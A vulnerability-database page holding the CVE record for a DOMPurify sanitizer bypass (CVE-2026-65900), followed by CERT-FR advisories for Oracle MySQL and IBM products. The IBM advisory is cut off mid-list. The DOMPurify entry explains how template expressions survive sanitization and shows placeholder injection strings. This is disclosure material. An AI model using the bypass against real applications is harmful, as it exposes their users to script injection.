Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-65900 (GCVE-0-2026-65900)
Vulnerability from cvelistv5 – Published: 2026-07-23 13:16 – Updated: 2026-07-23 18:02- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
| https://github.com/cure53/DOMPurify/security/advi… | vendor-advisory |
| https://www.vulncheck.com/advisories/dompurify-be… | third-party-advisory |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-65900",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-23T18:02:35.290579Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-23T18:02:48.345Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/dompurify",
"product": "DOMPurify",
"vendor": "cure53",
"versions": [
{
"lessThan": "3.4.8",
"status": "affected",
"version": "3.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.4.8",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.4.8",
"versionStartIncluding": "3.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "IamLeandrooooo"
}
],
"datePublic": "2026-05-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "DOMPurify versions \u003e=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, \u003c%evil%\u003e) inside \u003ctemplate\u003e element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "ACTIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-23T13:16:19.045Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-gvmj-g25r-r7wr)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
},
{
"name": "VulnCheck Advisory: DOMPurify before 3.4.8 Template Expression Injection via RETURN_DOM",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/dompurify-before-template-expression-injection-via-return-dom"
}
],
"title": "DOMPurify before 3.4.8 Template Expression Injection via RETURN_DOM",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-65900",
"datePublished": "2026-07-23T13:16:19.045Z",
"dateReserved": "2026-07-23T11:03:13.092Z",
"dateUpdated": "2026-07-23T18:02:48.345Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-65900",
"date": "2026-08-28",
"epss": "0.00209",
"percentile": "0.10944"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-65900\",\"sourceIdentifier\":\"disclosure@vulncheck.com\",\"published\":\"2026-07-23T14:18:04.843\",\"lastModified\":\"2026-07-28T15:52:37.367\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"DOMPurify versions \u003e=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, \u003c%evil%\u003e) inside \u003ctemplate\u003e element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.\"}],\"affected\":[{\"source\":\"disclosure@vulncheck.com\",\"affectedData\":[{\"vendor\":\"cure53\",\"product\":\"DOMPurify\",\"defaultStatus\":\"unaffected\",\"packageURL\":\"pkg:npm/dompurify\",\"versions\":[{\"version\":\"3.0.0\",\"lessThan\":\"3.4.8\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"3.4.8\",\"versionType\":\"semver\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":5.1,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"ACTIVE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"LOW\",\"subIntegrityImpact\":\"LOW\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\"baseScore\":6.1,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":2.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-23T18:02:35.290579Z\",\"id\":\"CVE-2026-65900\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-79\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.0.0\",\"versionEndExcluding\":\"3.4.8\",\"matchCriteriaId\":\"71393780-60EC-4C4F-B4B9-3BD6F1C8882D\"}]}]}],\"references\":[{\"url\":\"https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr\",\"source\":\"disclosure@vulncheck.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]},{\"url\":\"https://www.vulncheck.com/advisories/dompurify-before-template-expression-injection-via-return-dom\",\"source\":\"disclosure@vulncheck.com\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-08-20T09:57:13+00:00",
"cve": "CVE-2026-65900",
"id": "CVE-2026-65900",
"initial_release_date": "2026-07-23T13:16:19.045000+00:00",
"product_status:known_affected": "21",
"product_status:known_not_affected": "28",
"product_status:under_investigation": "48",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "dompurify: DOMPurify: Template expression injection allows information disclosure",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-65900.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-08-05T00:30:47Z",
"cve": "CVE-2026-65900",
"id": "CVE-2026-65900",
"initial_release_date": "2026-08-05T00:30:47Z",
"product_status:known_affected": "14",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-65900",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-65900.json",
"version": "2"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-65900\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-23T18:02:35.290579Z\"}}}], \"references\": [{\"url\": \"https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-23T18:02:22.277Z\"}}], \"cna\": {\"title\": \"DOMPurify before 3.4.8 Template Expression Injection via RETURN_DOM\", \"credits\": [{\"lang\": \"en\", \"type\": \"reporter\", \"value\": \"IamLeandrooooo\"}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV4_0\": {\"Safety\": \"NOT_DEFINED\", \"version\": \"4.0\", \"Recovery\": \"NOT_DEFINED\", \"baseScore\": 5.1, \"Automatable\": \"NOT_DEFINED\", \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"valueDensity\": \"NOT_DEFINED\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N\", \"exploitMaturity\": \"NOT_DEFINED\", \"providerUrgency\": \"NOT_DEFINED\", \"userInteraction\": \"ACTIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"LOW\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"LOW\", \"vulnConfidentialityImpact\": \"NONE\", \"vulnerabilityResponseEffort\": \"NOT_DEFINED\"}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 6.1, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"cure53\", \"product\": \"DOMPurify\", \"versions\": [{\"status\": \"affected\", \"version\": \"3.0.0\", \"lessThan\": \"3.4.8\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"3.4.8\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:npm/dompurify\", \"defaultStatus\": \"unaffected\"}], \"datePublic\": \"2026-05-29T00:00:00.000Z\", \"references\": [{\"url\": \"https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr\", \"name\": \"GitHub Security Advisory (GHSA-gvmj-g25r-r7wr)\", \"tags\": [\"vendor-advisory\"]}, {\"url\": \"https://www.vulncheck.com/advisories/dompurify-before-template-expression-injection-via-return-dom\", \"name\": \"VulnCheck Advisory: DOMPurify before 3.4.8 Template Expression Injection via RETURN_DOM\", \"tags\": [\"third-party-advisory\"]}], \"x_generator\": {\"engine\": \"vulncheck-endgame\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"DOMPurify versions \u003e=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, \u003c%evil%\u003e) inside \u003ctemplate\u003e element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-79\", \"description\": \"Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"3.4.8\", \"versionStartIncluding\": \"3.0.0\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"shortName\": \"VulnCheck\", \"dateUpdated\": \"2026-07-23T13:16:19.045Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-65900\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-23T18:02:48.345Z\", \"dateReserved\": \"2026-07-23T11:03:13.092Z\", \"assignerOrgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"datePublished\": \"2026-07-23T13:16:19.045Z\", \"assignerShortName\": \"VulnCheck\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
CERTFR-2026-AVI-1049
Vulnerability from certfr_avis - Published: 2026-08-19 - Updated: 2026-08-19
De multiples vulnérabilités ont été découvertes dans Oracle MySQL. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et une atteinte à la confidentialité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Oracle | MySQL | MySQL AI versions 9.4.0 à 9.7.2 | ||
| Oracle | MySQL | MySQL Cluster versions à 8.0.0 à 8.0.48 | ||
| Oracle | MySQL | MySQL AI version 26.7.0 | ||
| Oracle | MySQL | MySQL Shell (_Shell: Core Client) version 26.7.0 | ||
| Oracle | MySQL | MySQL Cluster versions 8.4.0 à 8.4.11 | ||
| Oracle | MySQL | MySQL Cluster versions 9.7.0 à 9.7.2 | ||
| Oracle | MySQL | MySQL Connectors (_Connector/ODBC) version 26.7.0 | ||
| Oracle | MySQL | Enterprise Manager for MySQL Database versions 13.5.1.0.0 à 13.5.6.0.0 |
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "MySQL AI versions 9.4.0 \u00e0 9.7.2",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL Cluster versions \u00e0 8.0.0 \u00e0 8.0.48",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL AI version 26.7.0",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL Shell (_Shell: Core Client) version 26.7.0",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL Cluster versions 8.4.0 \u00e0 8.4.11",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL Cluster versions 9.7.0 \u00e0 9.7.2",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "MySQL Connectors (_Connector/ODBC) version 26.7.0",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "Enterprise Manager for MySQL Database versions 13.5.1.0.0 \u00e0 13.5.6.0.0",
"product": {
"name": "MySQL",
"vendor": {
"name": "Oracle",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2025-14821",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14821"
},
{
"name": "CVE-2026-71073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71073"
},
{
"name": "CVE-2026-41239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41239"
},
{
"name": "CVE-2026-71079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71079"
},
{
"name": "CVE-2026-65901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
},
{
"name": "CVE-2026-65903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65903"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-60592",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60592"
},
{
"name": "CVE-2026-70724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70724"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-65914",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65914"
},
{
"name": "CVE-2026-65913",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65913"
},
{
"name": "CVE-2026-0540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
},
{
"name": "CVE-2026-0966",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
},
{
"name": "CVE-2026-65912",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65912"
},
{
"name": "CVE-2026-34478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
},
{
"name": "CVE-2026-34480",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
},
{
"name": "CVE-2026-71084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71084"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2026-41240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
},
{
"name": "CVE-2026-34479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
},
{
"name": "CVE-2026-0964",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2026-0965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
},
{
"name": "CVE-2026-0967",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
},
{
"name": "CVE-2026-0968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
},
{
"name": "CVE-2026-41238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41238"
},
{
"name": "CVE-2026-34477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
},
{
"name": "CVE-2026-65902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
}
],
"initial_release_date": "2026-08-19T00:00:00",
"last_revision_date": "2026-08-19T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1049",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-19T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans Oracle MySQL. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Oracle MySQL",
"vendor_advisories": [
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 Oracle MySQL cspuaug2026",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
]
}
CERTFR-2026-AVI-1067
Vulnerability from certfr_avis - Published: 2026-08-21 - Updated: 2026-08-21
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | Tivoli | Tivoli Composite Application Manager for Applications WebSphere MQ Monitoring Agent version 7.3.0 Fix Pack 4 sans les derniers correctifs | ||
| IBM | VIOS | PowerVM VIOS version 4.1 sans les derniers correctifs de sécurité | ||
| IBM | AIX | AIX version 7.2 sans les derniers correctifs de sécurité | ||
| IBM | Tivoli | Tivoli Composite Application Manager for Application Diagnostics version 7.1.0 sans les derniers correctifs de sécurité pour WebSphere Application Server | ||
| IBM | Informix Dynamic Server | Informix Dynamic Server versions 12.10.x à 14.10.x antérieures à 14.10.xC13W13 | ||
| IBM | QRadar | QRadar Log Source Management App versions antérieures à 7.0.17 | ||
| IBM | WebSphere | WebSphere Remote Server version 8.5 sans les derniers correctifs de sécurité | ||
| IBM | WebSphere | WebSphere Remote Server version 9.0 sans les derniers correctifs de sécurité | ||
| IBM | WebSphere | WebSphere Hybrid Edition version 5.1 sans les derniers correctifs de sécurité | ||
| IBM | WebSphere | WebSphere Service Registry and Repository version 8.5 sans les derniers correctifs de sécurité | ||
| IBM | Informix Dynamic Server | Informix Dynamic Server versions 15.0.x antérieures à 15.0.1.13 | ||
| IBM | WebSphere | WebSphere Remote Server version 9.1 sans les derniers correctifs de sécurité | ||
| IBM | AIX | AIX version 7.3 sans les derniers correctifs de sécurité |
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Tivoli Composite Application Manager for Applications WebSphere MQ Monitoring Agent version 7.3.0 Fix Pack 4 sans les derniers correctifs",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "PowerVM VIOS version 4.1 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "VIOS",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "AIX version 7.2 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "AIX",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Composite Application Manager for Application Diagnostics version 7.1.0 sans les derniers correctifs de s\u00e9curit\u00e9 pour WebSphere Application Server",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Informix Dynamic Server versions 12.10.x \u00e0 14.10.x ant\u00e9rieures \u00e0 14.10.xC13W13",
"product": {
"name": "Informix Dynamic Server",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar Log Source Management App versions ant\u00e9rieures \u00e0 7.0.17",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Remote Server version 8.5 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Remote Server version 9.0 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Hybrid Edition version 5.1 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Service Registry and Repository version 8.5 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Informix Dynamic Server versions 15.0.x ant\u00e9rieures \u00e0 15.0.1.13",
"product": {
"name": "Informix Dynamic Server",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Remote Server version 9.1 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "AIX version 7.3 sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "AIX",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-16857",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16857"
},
{
"name": "CVE-2026-33871",
